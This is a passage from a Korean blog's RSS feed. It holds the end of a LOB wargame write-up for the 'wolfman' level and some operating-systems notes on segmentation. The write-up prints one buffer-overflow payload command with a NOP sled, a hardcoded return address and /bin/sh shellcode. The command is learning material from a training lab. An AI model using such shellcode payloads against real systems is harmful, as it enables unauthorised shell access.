&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;3. 페이로드 작성&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;font-family: 'Noto Sans Demilight', 'Noto Sans KR';&quot;&gt;&lt;b&gt;&lt;b&gt;./wolfman $(python -c 'print &quot;\x90&quot;*44+&quot;\xd4\xfa\xff\xbf&quot;+&quot;\x90&quot;*200&lt;/b&gt;&lt;/b&gt;&lt;b&gt;+ &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80&quot;')&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0GcNq/btqAcqj6az0/qQYtdIdCbL1FnGWBqB5ejk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0GcNq/btqAcqj6az0/qQYtdIdCbL1FnGWBqB5ejk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0GcNq/btqAcqj6az0/qQYtdIdCbL1FnGWBqB5ejk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0GcNq%2FbtqAcqj6az0%2FqQYtdIdCbL1FnGWBqB5ejk%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Write-Up/LOB</category>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/69</guid>
      <comments>https://pseudo-comsci.tistory.com/69#entry69comment</comments>
      <pubDate>Wed, 4 Dec 2019 21:42:44 +0900</pubDate>
    </item>
    <item>
      <title>륳륳ㅅ</title>
      <link>https://pseudo-comsci.tistory.com/68</link>
      <description>&lt;p&gt;세그먼테이션 테이블 : 세그먼트의 크기를 나타내는 limit와 물리 메모리 상의 시작 주소를 나타내는 address가 있음&lt;/p&gt;
&lt;p&gt;각 세그먼트가 자신에게 주어진 메모리 영역을 넘어가면 안 되기 때문에 세그먼트의 크기 정보에는 크기를 뜻하는 size 대신 제한을 뜻하는 limit 사용.&lt;/p&gt;
&lt;p&gt;세그먼테이션 기법에서도 물리 메모리가 부족할 경우, 스왑 영역을 사용&lt;/p&gt;
&lt;p&gt;크기가 100B인 프로세스 D가 스왑 영역이 있고, 세그먼테이션 테이블의 address에 I(invalid)라고 표시&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <author>NONE_31D</author>
      <guid isPermaLink="true">https://pseudo-comsci.tistory.com/68</guid>
      <comments>https://pseudo-comsci.tistory.com/68#entry68comment</comments>
      <pubDate>Fri, 29 Nov 2019 11:07:02 +0900</pubDate>
    </item>
  </channel>
</rss>